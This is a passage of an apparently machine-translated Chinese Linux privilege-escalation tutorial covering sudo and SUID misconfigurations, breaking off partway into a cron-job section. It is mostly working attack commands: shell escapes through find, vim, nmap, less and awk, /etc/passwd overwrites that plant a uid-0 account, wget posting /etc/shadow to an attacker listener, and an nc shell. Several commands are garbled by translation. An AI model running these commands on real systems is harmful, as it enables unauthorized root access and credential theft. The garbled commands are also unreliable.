\u8bf4\u660e2\uff1a\u4ee5\u4e0a\u547d\u4ee4\uff0c\u4f7f\u7528\u6237\u53ef\u4ee5\u4ece\u4efb\u4f55\u7ec8\u7aef\u4f7f\u7528touhid**<\/strong>\u7684\u7528\u6237\u5bc6\u7801**\u5173\u95ed\u547d\u4ee4\u7535\u6e90\u3002<\/p>\n
touhid ALL = (root) NOPASSWD: \/usr\/bin\/find<\/p>\n
\u8bf4\u660e3\uff1a\u4e0a\u9762\u7684\u547d\u4ee4\uff0c\u4f7f\u7528\u6237\u53ef\u4ee5\u4ece\u4efb\u4f55\u7ec8\u7aef\u8fd0\u884c\uff0c\u4ee5root<\/strong>\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u547d\u4ee4find \u800c\u65e0\u9700\u5bc6\u7801<\/strong>\u3002<\/p>\n
\u5229\u7528SUDO\u7528\u6237<\/strong><\/h3>\n
\u8981\u5229\u7528sudo\u7528\u6237\uff0c\u60a8\u9700\u8981\u627e\u5230\u60a8\u5fc5\u987b\u5141\u8bb8\u7684\u547d\u4ee4\u3002 sudo -l<\/p>\n
\u4e0a\u9762\u7684\u547d\u4ee4\u663e\u793a\u4e86\u5141\u8bb8\u5f53\u524d\u7528\u6237\u4f7f\u7528\u7684\u547d\u4ee4\u3002<\/p>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe2\"$ <\/div>\n<\/figure>\n
\u6b64\u5904sudo -l\uff0c\u663e\u793a\u7528\u6237\u5df2\u5141\u8bb8\u4ee5root\u7528\u6237\u8eab\u4efd\u6267\u884c\u6240\u6709\u6b64\u4e8c\u8fdb\u5236\u6587\u4ef6\u800c\u65e0\u9700\u5bc6\u7801\u3002<\/p>\n
\u8ba9\u6211\u4eec\u4e00\u4e00\u67e5\u770b\u6240\u6709\u4e8c\u8fdb\u5236\u6587\u4ef6\uff08\u4ec5\u5728\u7d22\u5f15\u4e2d\u63d0\u5230\uff09\u548c\u5c06\u7279\u6743<\/strong>\u63d0\u5347\u7ed9root<\/strong>\u7528\u6237\u3002<\/p>\n
\u4f7f\u7528\u67e5\u627e\u547d\u4ee4<\/strong><\/h3>\n
sudo find \/ etc \/ passwd -exec \/ bin \/ sh \\;<\/p>\n
\u8981\u4e48<\/p>\n
sudo find \/ bin -name nano -exec \/ bin \/ sh \\;<\/p>\n
\u4f7f\u7528Vim\u547d\u4ee4<\/strong><\/h3>\n
sudo vim -c\u2019\uff01sh\u2019<\/p>\n
\u4f7f\u7528Nmap\u547d\u4ee4<\/strong><\/h3>\n
sudo nmap-\u4ea4\u4e92\u5f0fnmap>\uff01shsh-4.1\uff03<\/p>\n
\u6ce8\u610f\uff1a**<\/strong>nmap \u2013interactive\u9009\u9879\u5728\u6700\u65b0\u7684<\/strong>nmap**\u4e2d\u4e0d\u53ef\u7528\u3002<\/strong><\/p>\n
\u6ca1\u6709\u4e92\u52a8\u7684\u6700\u65b0\u65b9\u5f0f<\/p>\n
echo\u201c os.execute\uff08\u2019\/ bin \/ sh\u2019\uff09\u201d> \/tmp\/shell.nse && sudo nmap \u2014script = \/ tmp \/ shell.nse<\/p>\n
\u4f7f\u7528Man\u547d\u4ee4<\/strong><\/h3>\n
sudo man man<\/p>\n
\u4e4b\u540e\u6309\uff01<\/strong>\u6309\u4e0b\u5e76\u6309Enter<\/p>\n
\u4f7f\u7528less\/more\u547d\u4ee4<\/strong><\/h3>\n
sudo less \/ etc \/ hosts<\/p>\n
sudo more \/ etc \/ hosts<\/p>\n
\u4e4b\u540e\u6309\uff01<\/strong>\u6309\u4e0b\u5e76\u6309Enter<\/p>\n
\u4f7f\u7528awk\u547d\u4ee4<\/strong><\/h3>\n
sudo awk\u2019BEGIN {system\uff08\u201c \/ bin \/ sh\u201d\uff09}\u2019<\/p>\n
\u4f7f\u7528nano\u547d\u4ee4<\/strong><\/h3>\n
nano\u662f\u4f7f\u7528\u6b64\u7f16\u8f91\u5668\u7684\u6587\u672c\u7f16\u8f91\u5668\uff0c\u5728\u60a8\u9700\u8981\u5207\u6362\u7528\u6237\u4e4b\u540e\uff0c\u60a8\u53ef\u4ee5\u4fee\u6539passwd\u6587\u4ef6\u5e76\u5c06\u7528\u6237\u6dfb\u52a0\u4e3aroot\u7279\u6743\u3002\u5728\/ etc \/passwd\u4e2d\u6dfb\u52a0\u6b64\u884c\uff0c\u4ee5\u5c06\u7528\u6237\u6dfb\u52a0\u4e3aroot\u7279\u6743\u3002<\/p>\n
touhid\uff1a $6<\/span><\/span><\/span><\/span><\/span> bxwJfzor<\/p>\n$
sudo nano \/ etc \/ passwd<\/p>\n
\u73b0\u5728\u5207\u6362\u7528\u6237\u5bc6\u7801\u662f\uff1atest<\/p>\n
su touhid<\/p>\n
\u4f7f\u7528wget\u547d\u4ee4<\/strong><\/h3>\n
\u8fd9\u79cd\u975e\u5e38\u9177\u7684\u65b9\u5f0f\u8981\u6c42Web\u670d\u52a1\u5668\u4e0b\u8f7d\u6587\u4ef6\u3002\u8fd9\u6837\u6211\u4ece\u6ca1\u5728\u4efb\u4f55\u5730\u65b9\u89c1\u8fc7\u3002\u8ba9\u6211\u4eec\u89e3\u91ca\u4e00\u4e0b\u3002<\/p>\n
\n
\u9996\u5148\u5c06Target\u7684\/ etc \/ passwd\u6587\u4ef6\u590d\u5236\u5230\u653b\u51fb\u8005\u8ba1\u7b97\u673a\u3002<\/li>\n
\u4fee\u6539\u6587\u4ef6\uff0c\u5e76\u5728\u4e0a\u4e00\u6b65\u4e2d\u4fdd\u5b58\u7684\u5bc6\u7801\u6587\u4ef6\u4e2d\u6dfb\u52a0\u7528\u6237\u5230\u653b\u51fb\u8005\u8ba1\u7b97\u673a\u3002<\/li>\n
\u4ec5\u9644\u52a0\u6b64\u884c=> touhid**\uff1a<\/li>\n
\u5c06passwd\u6587\u4ef6\u6258\u7ba1\u5230\u4f7f\u7528\u4efb\u4f55Web\u670d\u52a1\u5668\u7684\u4e3b\u673a\u3002<\/li>\n<\/ul>\n
\u5728\u53d7\u5bb3\u8005\u65b9\u9762\u3002<\/strong><\/p>\n
sudo wget http:\/\/192.168.56.1:8080\/passwd -O \/ etc \/ passwd<\/p>\n
\u73b0\u5728\u5207\u6362\u7528\u6237\u5bc6\u7801\u662f\uff1atest<\/p>\n
su touhid<\/p>\n
\u6ce8\u610f\uff1a\u5982\u679c\u60a8\u8981\u4ece\u670d\u52a1\u5668\u4e0a\u8f6c\u50a8\u6587\u4ef6\uff0c\u4f8b\u5982<\/strong>root\u7684<\/strong>ssh\u5bc6\u94a5\uff0c<\/strong>shadow\u6587\u4ef6\u7b49\u3002<\/strong><\/p>\n
sudo wget \u2014post-file = \/ etc \/ shadow 192.168.56.1:8080<\/p>\n
\u653b\u51fb\u8005\u7684\u8bbe\u7f6e\u4fa6\u542c\u5668\uff1anc \u2013lvp 8080<\/p>\n
\u4f7f\u7528apache\u547d\u4ee4<\/strong><\/h3>\n
\u4f46\u662f\uff0c\u6211\u4eec\u65e0\u6cd5\u83b7\u5f97Shell\u548cCant\u7f16\u8f91\u7cfb\u7edf\u6587\u4ef6\u3002<\/p>\n
\u4f46\u662f\u4f7f\u7528\u5b83\u6211\u4eec\u53ef\u4ee5\u67e5\u770b\u7cfb\u7edf\u6587\u4ef6\u3002<\/p>\n
sudo apache2 -f \/ etc \/ shadow<\/p>\n
\u8f93\u51fa\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n
Syntax error on line 1 of \/etc\/shadow:Invalid command 'root: $6<\/span><\/span><\/span><\/span><\/span>bxwJfzor<\/p>\n$
\u53ef\u60b2\u7684\u662f\u6ca1\u6709shell\u3002\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u73b0\u5728\u63d0\u53d6root\u54c8\u5e0c\uff0c\u7136\u540e\u5728\u7834\u89e3\u4e86\u54c8\u5e0c\u3002<\/p>\n
0x006 linux\u63d0\u6743-Suid\u548cGuid\u914d\u7f6e\u9519\u8bef<\/strong><\/h2>\n
\u63cf\u8ff0<\/strong><\/p>\n
SUID\u4ee3\u8868\u8bbe\u7f6e\u7684\u7528\u6237ID\uff0c\u662f\u4e00\u79cdLinux\u529f\u80fd\uff0c\u5141\u8bb8\u7528\u6237\u5728\u6307\u5b9a\u7528\u6237\u7684\u8bb8\u53ef\u4e0b\u6267\u884c\u6587\u4ef6\u3002\u4f8b\u5982\uff0cLinux ping\u547d\u4ee4\u901a\u5e38\u9700\u8981root\u6743\u9650\u624d\u80fd\u6253\u5f00\u7f51\u7edc\u5957\u63a5\u5b57\u3002\u901a\u8fc7\u5c06ping\u7a0b\u5e8f\u6807\u8bb0\u4e3aSUID\uff08\u6240\u6709\u8005\u4e3aroot\uff09\uff0c\u53ea\u8981\u4f4e\u7279\u6743\u7528\u6237\u6267\u884cping\u7a0b\u5e8f\uff0c\u4fbf\u4f1a\u4ee5root\u7279\u6743\u6267\u884cping\u3002<\/p>\n
SUID\uff08\u8bbe\u7f6e\u7528\u6237ID\uff09\u662f\u8d4b\u4e88\u6587\u4ef6\u7684\u4e00\u79cd\u6743\u9650\uff0c\u5b83\u4f1a\u51fa\u73b0\u5728\u6587\u4ef6\u62e5\u6709\u8005\u6743\u9650\u7684\u6267\u884c\u4f4d\u4e0a\uff0c\u5177\u6709\u8fd9\u79cd\u6743\u9650\u7684\u6587\u4ef6\u4f1a\u5728\u5176\u6267\u884c\u65f6\uff0c\u4f7f\u8c03\u7528\u8005\u6682\u65f6\u83b7\u5f97\u8be5\u6587\u4ef6\u62e5\u6709\u8005\u7684\u6743\u9650\u3002<\/p>\n
\u5f53\u8fd0\u884c\u5177\u6709suid\u6743\u9650\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\u65f6\uff0c\u5b83\u5c06\u4ee5\u5176\u4ed6\u7528\u6237\u8eab\u4efd\u8fd0\u884c\uff0c\u56e0\u6b64\u5177\u6709\u5176\u4ed6\u7528\u6237\u7279\u6743\u3002\u5b83\u53ef\u4ee5\u662froot\u7528\u6237\uff0c\u4e5f\u53ef\u4ee5\u53ea\u662f\u53e6\u4e00\u4e2a\u7528\u6237\u3002\u5982\u679c\u5728\u7a0b\u5e8f\u4e2d\u8bbe\u7f6e\u4e86suid\uff0c\u8be5\u4f4d\u53ef\u4ee5\u751f\u6210shell\u6216\u4ee5\u5176\u4ed6\u65b9\u5f0f\u6ee5\u7528\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5b83\u6765\u63d0\u5347\u6211\u4eec\u7684\u7279\u6743\u3002<\/p>\n
\u4ee5\u4e0b\u662f\u4e00\u4e9b\u53ef\u7528\u4e8e\u4ea7\u751f<\/strong>SHELL\u7684\u7a0b\u5e8f\uff1a<\/strong><\/p>\n
nmap<\/p>\n
vim<\/p>\n
less more<\/p>\n
nano<\/p>\n
cpmv<\/p>\n
find<\/p>\n
\u67e5\u627e<\/strong>suid\u548c<\/strong>guid\u6587\u4ef6<\/strong><\/p>\n
Find SUID find \/ -perm -u=s -type f 2>\/dev\/null Find GUID find \/ -perm -g=s -type f 2>\/dev\/null<\/p>\n
\u5176\u4ed6\u547d\u4ee4<\/strong><\/p>\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n
\n
\u547d\u4ee4<\/p>\n<\/div>\n<\/th>\n
\n
\n
\u7ed3\u679c<\/p>\n<\/div>\n<\/th>\n
\n
\n
<\/p>\n<\/div>\n<\/th>\n
\n
\n
<\/p>\n<\/div>\n<\/th>\n
\n
\n
<\/p>\n<\/div>\n<\/th>\n<\/tr>\n<\/thead>\n
\n
\n
find \/ -perm -4000 -type f 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u67e5\u627eSUID\u6587\u4ef6<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
find \/ -uid 0 -perm -4000 -type f 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u67e5\u627eroot\u62e5\u6709\u7684SUID\u6587\u4ef6<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
find \/ -perm -2000 -type f 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u67e5\u627eSGID\u6587\u4ef6\uff08\u7c98\u6027\u4f4d\uff09<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
find \/ ! -path \u201c\/proc\/\u201c -perm -2 -type f -print 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u67e5\u627e\u4e16\u754c\u53ef\u5199\u6587\u4ef6\uff0c\u4e0d\u5305\u62ecproc\u6587\u4ef6<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
find \/ -type f \u2018(\u2018 -name .cert -or -name .crt -or -name .pem -or -name .ca -or -name .p12 -or -name .cer -name .der \u2018)\u2019 \u2018(\u2018 \u2018(\u2018 -user support -perm -u=r \u2018)\u2019 -or \u2018(\u2018 -group support -perm -g=r \u2018)\u2019 -or \u2018(\u2018 -perm -o=r \u2018)\u2019 \u2018)\u2019 2> \/dev\/null-or -name .cer -name *.der \u2018)\u2019 2> \/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u67e5\u627e\u60a8\u53ef\u4ee5\u9605\u8bfb\u7684\u5bc6\u94a5\u6216\u8bc1\u4e66<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
find \/home \u2013name *.rhosts -print 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u67e5\u627erhost\u914d\u7f6e\u6587\u4ef6<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
find \/etc -iname hosts.equiv -exec ls -la {} 2>\/dev\/null ; -exec cat {} 2>\/dev\/null ;<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u67e5\u627ehosts.equiv\uff0c\u5217\u51fa\u6743\u9650\u5e76\u7ba1\u7406\u6587\u4ef6\u5185\u5bb9<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
cat ~\/.bash_history<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u663e\u793a\u5f53\u524d\u7528\u6237\u5386\u53f2\u8bb0\u5f55<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
ls -la ~\/.*_history<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u5411\u5f53\u524d\u7528\u6237\u5206\u53d1\u5404\u79cd\u5386\u53f2\u6587\u4ef6<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
ls -la ~\/.ssh\/<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u68c0\u67e5\u5f53\u524d\u7528\u6237\u7684ssh\u6587\u4ef6<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
find \/etc -maxdepth 1 -name \u2018.conf\u2019 -type f\u8981\u4e48ls -la \/etc\/.conf<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u5728\/ etc\u4e2d\u5217\u51fa\u914d\u7f6e\u6587\u4ef6\uff08\u6df1\u5ea61\uff0c\u5728\u7b2c\u4e00\u4e2a\u547d\u4ee4\u4e2d\u4fee\u6539maxdepth\u53c2\u6570\u4ee5\u5bf9\u5176\u8fdb\u884c\u66f4\u6539\uff09<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n
\n
\n
<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
lsof<\/p>\n<\/div>\n<\/td>\n
\n
\n
grep \u2018\/home\/\\<\/p>\n<\/div>\n<\/td>\n
\n
\n
\/etc\/\\<\/p>\n<\/div>\n<\/td>\n
\n
\n
\/opt\/\u2018<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u663e\u793a\u53ef\u80fd\u6709\u8da3\u7684\u6253\u5f00\u6587\u4ef6<\/p>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n
\u4e5f\u53ef\u4ee5\u4f7f\u7528 sudo -l \u547d\u4ee4\u5217\u51fa\u5f53\u524d\u7528\u6237\u53ef\u6267\u884c\u7684\u547d\u4ee4<\/p>\n
\u5e38\u7528\u63d0\u6743\u65b9\u5f0f<\/strong><\/h3>\n
nmap<\/strong><\/p>\n
find \/ -perm -u = s -type f 2> \/ dev \/ null \u2013\u67e5\u627e\u8bbe\u7f6e\u4e86SUID\u4f4d\u7684\u53ef\u6267\u884c\u6587\u4ef6<\/p>\n
ls -la \/ usr \/ local \/ bin \/ nmap \u2013\u8ba9\u6211\u4eec\u786e\u8ba4nmap\u662f\u5426\u8bbe\u7f6e\u4e86SUID\u4f4d\u3002<\/p>\n
Nmap\u7684SUID\u4f4d\u7f6e1\u3002\u5f88\u591a\u65f6\u5019\uff0c\u7ba1\u7406\u5458\u5c06SUID\u4f4d\u8bbe\u7f6e\u4e3anmap\uff0c\u4ee5\u4fbf\u53ef\u4ee5\u6709\u6548\u5730\u626b\u63cf\u7f51\u7edc\uff0c\u56e0\u4e3a\u5982\u679c\u4e0d\u4f7f\u7528root\u7279\u6743\u8fd0\u884c\u5b83\uff0c\u5219\u6240\u6709\u7684nmap\u626b\u63cf\u6280\u672f\u90fd\u5c06\u65e0\u6cd5\u4f7f\u7528\u3002<\/p>\n
\u4f46\u662f\uff0cnmap\uff082.02-5.21\uff09\u5b58\u5728\u4ea4\u6362\u6a21\u5f0f\uff0c\u53ef\u5229\u7528\u63d0\u6743\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u6b64\u6a21\u5f0f\u4e0b\u4ee5\u4ea4\u4e92\u65b9\u5f0f\u8fd0\u884cnmap\uff0c\u4ece\u800c\u53ef\u4ee5\u8f6c\u81f3shell\u3002\u5982\u679cnmap\u8bbe\u7f6e\u4e86SUID\u4f4d\uff0c\u5b83\u5c06\u4ee5root\u7279\u6743\u8fd0\u884c\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5176\u4ea4\u4e92\u6a21\u5f0f\u8bbf\u95ee\u2019root\u2019shell\u3002<\/p>\n
nmap \u2013interactive \u2013\u8fd0\u884cnmap\u4ea4\u4e92\u6a21\u5f0f\uff01sh \u2013\u6211\u4eec\u53ef\u4ee5\u4ecenmap shell\u8f6c\u5230\u7cfb\u7edfshell<\/p>\n
msf<\/strong>\u4e2d\u7684\u6a21\u5757\u4e3a\uff1a<\/p>\n
exploit\/unix\/local\/setuid_nmap<\/p>\n
\u8f83\u65b0\u7248\u53ef\u4f7f\u7528 \u2014script \u53c2\u6570\uff1a<\/strong><\/p>\n
echo \u201cos.execute(\u2018\/bin\/sh\u2019)\u201d > \/tmp\/shell.nse && sudo nmap \u2014script=\/tmp\/shell.nse<\/p>\n
find<\/strong><\/p>\n
touch test<\/p>\n
nc<\/strong> \u53cd\u5f39 shell\uff1a<\/strong><\/p>\n
find test -exec netcat -lvp 5555 -e \/bin\/sh \\;<\/p>\n
vi\/vim<\/strong><\/p>\n
Vim\u7684\u4e3b\u8981\u7528\u9014\u662f\u7528\u4f5c\u6587\u672c\u7f16\u8f91\u5668\u3002\u4f46\u662f\uff0c\u5982\u679c\u4ee5SUID\u8fd0\u884c\uff0c\u5b83\u5c06\u7ee7\u627froot\u7528\u6237\u7684\u6743\u9650\uff0c\u56e0\u6b64\u53ef\u4ee5\u8bfb\u53d6\u7cfb\u7edf\u4e0a\u7684\u6240\u6709\u6587\u4ef6\u3002<\/p>\n
\u6253\u5f00vim,\u6309\u4e0bESC<\/p>\n
:set shell=\/bin\/sh:shell<\/p>\n
\u6216\u8005<\/p>\n
sudo vim -c \u2018!sh\u2019<\/p>\n
bash<\/strong><\/p>\n
\u4ee5\u4e0b\u547d\u4ee4\u5c06\u4ee5<\/strong>root\u8eab\u4efd\u6253\u5f00\u4e00\u4e2a<\/strong>bash shell\u3002<\/strong><\/p>\n
bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)<\/p>\n
less<\/strong><\/p>\n
\u7a0b\u5e8fLess\u4e5f\u53ef\u4ee5\u6267\u884c\u63d0\u6743\u540e\u7684shell\u3002\u540c\u6837\u7684\u65b9\u6cd5\u4e5f\u9002\u7528\u4e8e\u5176\u4ed6\u8bb8\u591a\u547d\u4ee4\u3002<\/p>\n
less \/etc\/passwd!\/bin\/sh<\/p>\n
more<\/strong><\/p>\n
more \/home\/pelle\/myfile!\/bin\/bash<\/p>\n
cp<\/strong><\/p>\n
\u8986\u76d6 \/etc\/shadow \u6216 \/etc\/passwd<\/p>\n
[<\/span>zabbix@localhost ~<\/span>]<\/span>$ cat \/<\/span>etc\/<\/span>passwd ><\/span>passwd[<\/span>zabbix@localhost ~<\/span>]<\/span>$ openssl passwd -<\/span>1<\/span> -<\/span>salt hack hack123$1<\/span>$hack$WTn0dk2QjNeKfl.<\/span>DHOUue0[<\/span>zabbix@localhost ~<\/span>]<\/span>$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::\/root\/:\/bin\/bash'<\/span> >><\/span> passwd[<\/span>zabbix@localhost ~<\/span>]<\/span>$ cp passwd \/<\/span>etc\/<\/span>passwd[<\/span>zabbix@localhost ~<\/span>]<\/span>$ su -<\/span> hackPassword:<\/span>[<\/span>root@361way ~<\/span>]<\/span># iduid=<\/span>0<\/span>(<\/span>hack)<\/span> gid=<\/span>0<\/span>(<\/span>root)<\/span> groups=<\/span>0<\/span>(<\/span>root)<\/span>[<\/span>root@361way ~<\/span>]<\/span># cat \/<\/span>etc\/<\/span>passwd|<\/span>tail -<\/span>1hack:<\/span>$1<\/span>$hack$WTn0dk2QjNeKfl.<\/span>DHOUue0:<\/span>0<\/span>:<\/span>0<\/span>:<\/span>:<\/span>\/<\/span>root\/<\/span>:<\/span>\/<\/span>bin\/<\/span>bash<\/pre>\n
mv<\/strong><\/p>\n
\u8986\u76d6 \/etc\/shadow \u6216 \/etc\/passwd<\/p>\n
[<\/span>zabbix@localhost ~<\/span>]<\/span>$ cat \/<\/span>etc\/<\/span>passwd ><\/span>passwd[<\/span>zabbix@localhost ~<\/span>]<\/span>$ openssl passwd -<\/span>1<\/span> -<\/span>salt hack hack123$1<\/span>$hack$WTn0dk2QjNeKfl.<\/span>DHOUue0[<\/span>zabbix@localhost ~<\/span>]<\/span>$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::\/root\/:\/bin\/bash'<\/span> >><\/span> passwd[<\/span>zabbix@localhost ~<\/span>]<\/span>$ mv passwd \/<\/span>etc\/<\/span>passwd[<\/span>zabbix@localhost ~<\/span>]<\/span>$ su -<\/span> hackPassword:<\/span>[<\/span>root@361way ~<\/span>]<\/span># iduid=<\/span>0<\/span>(<\/span>hack)<\/span> gid=<\/span>0<\/span>(<\/span>root)<\/span> groups=<\/span>0<\/span>(<\/span>root)<\/span>[<\/span>root@361way ~<\/span>]<\/span># cat \/<\/span>etc\/<\/span>passwd|<\/span>tail -<\/span>1hack:<\/span>$1<\/span>$hack$WTn0dk2QjNeKfl.<\/span>DHOUue0:<\/span>0<\/span>:<\/span>0<\/span>:<\/span>:<\/span>\/<\/span>root\/<\/span>:<\/span>\/<\/span>bin\/<\/span>bash<\/pre>\n
nano<\/strong><\/p>\n
nano \/etc\/passwd<\/p>\n
awk<\/strong><\/p>\n
awk \u2018BEGIN {system(\u201c\/bin\/sh\u201d)}\u2019<\/p>\n
man<\/strong><\/p>\n
man passwd!\/bin\/bash<\/p>\n
wget<\/strong><\/p>\n
wget http:\/\/192.168.56.1:8080\/passwd -O \/etc\/passwd<\/p>\n
apache<\/strong><\/p>\n
\u4ec5\u53ef\u67e5\u770b\u6587\u4ef6\uff0c\u4e0d\u80fd\u5f39 shell\uff1a<\/p>\n
apache2 -f \/etc\/shadow<\/p>\n
tcpdump<\/strong><\/p>\n
echo $\u2019id\\ncat \/etc\/shadow\u2019 > \/tmp\/.testchmod +x \/tmp\/.testsudo tcpdump -ln -i eth0 -w \/dev\/null -W 1 -G 1 -z \/tmp\/.test -Z root<\/p>\n
python\/perl\/ruby\/lua\/php\/etc<\/strong><\/p>\n
python<\/strong><\/p>\n
python -c \u201cimport os;os.system(\u2018\/bin\/bash\u2019)\u201d<\/p>\n
perl<\/strong><\/p>\n
exec \u201c\/bin\/bash\u201d;<\/p>\n
0x007 linux\u63d0\u6743\u2014\u5229\u7528\u5b9a\u65f6\u4efb\u52a1\uff08Cron jobs\uff09<\/strong><\/h2>\n
\u5982\u679c\u672a\u6b63\u786e\u914d\u7f6eCronjob\uff0c\u5219\u53ef\u4ee5\u5229\u7528\u8be5Cronjob\u83b7\u5f97root\u7279\u6743\u3002<\/p>\n
1. Cronjob\u4e2d\u662f\u5426\u6709\u53ef\u5199\u7684\u811a\u672c\u6216\u4e8c\u8fdb\u5236\u6587\u4ef6\uff1f 2.\u6211\u4eec\u53ef\u4ee5\u8986\u76d6cron\u6587\u4ef6\u672c\u8eab\u5417\uff1f 3. cron.d\u76ee\u5f55\u53ef\u5199\u5417\uff1f<\/p>\n
Cronjob\u901a\u5e38\u4ee5root\u7279\u6743\u8fd0\u884c\u3002\u5982\u679c\u6211\u4eec\u53ef\u4ee5\u6210\u529f\u7be1\u6539cronjob\u4e2d\u5b9a\u4e49\u7684\u4efb\u4f55\u811a\u672c\u6216\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u4ee5root\u7279\u6743\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n
\u4ec0\u4e48\u662fCronjob\uff1f<\/strong><\/h3>\n
Cron Jobs\u88ab\u7528\u4e8e\u901a\u8fc7\u5728\u670d\u52a1\u5668\u4e0a\u7684\u7279\u5b9a\u65e5\u671f\u548c\u65f6\u95f4\u6267\u884c\u547d\u4ee4\u6765\u5b89\u6392\u4efb\u52a1\u3002\u5b83\u4eec\u6700\u5e38\u7528\u4e8esysadmin\u4efb\u52a1\uff0c\u5982\u5907\u4efd\u6216\u6e05\u7406\/tmp\/\u76ee\u5f55\u7b49\u3002Cron\u8fd9\u4e2a\u8bcd\u6765\u81eacrontab\uff0c\u5b83\u5b58\u5728\u4e8e\/etc\u76ee\u5f55\u4e2d\u3002<\/p>\n
\u4f8b\u5982\uff1a\u5728crontab\u5185\u90e8\uff0c\u6211\u4eec\u53ef\u4ee5\u6dfb\u52a0\u4ee5\u4e0b\u6761\u76ee\uff0c\u4ee5\u6bcf1\u5c0f\u65f6\u81ea\u52a8\u6253\u5370\u4e00\u6b21apache\u9519\u8bef\u65e5\u5fd7\u3002<\/p>\n
\n\n\n\n
\n
\n
1<\/p>\n<\/div>\n<\/th>\n
\n
\n
1 0 * * * printf \u201c\u201d > \/var\/log\/apache\/error_log<\/p>\n<\/div>\n<\/th>\n<\/tr>\n<\/thead>\n<\/table>\n<\/div>\n
\u524d\u4e94\u4e2a\u6570\u5b57\u503c\u8868\u793a\u6267\u884ccronjob\u7684\u65f6\u95f4\u3002\u73b0\u5728\u8ba9\u6211\u4eec\u4e86\u89e3\u4e94\u4e2a\u6570\u5b57\u503c\u3002<\/p>\n
\n
\u5206\u949f\u2013\u7b2c\u4e00\u4e2a\u503c\u8868\u793a\u4ecb\u4e8e0\u523059\u4e4b\u95f4\u7684\u5206\u949f\u8303\u56f4\uff0c\u800c*\u8868\u793a\u4efb\u4f55\u5206\u949f\u3002<\/li>\n
\u5c0f\u65f6\u2013\u7b2c\u4e8c\u4e2a\u503c\u8868\u793a\u5c0f\u65f6\u8303\u56f4\u57280\u523024\u4e4b\u95f4\uff0c*\u8868\u793a\u4efb\u4f55\u5c0f\u65f6\u3002<\/li>\n
\u6708\u4e2d\u7684\u67d0\u5929\u2013\u7b2c\u4e09\u4e2a\u503c\u8868\u793a\u6708\u4e2d\u7684\u67d0\u65e5\uff0c\u8303\u56f4\u662f1\u523031\uff0c*\u8868\u793a\u4efb\u4f55\u4e00\u5929\u3002<\/li>\n
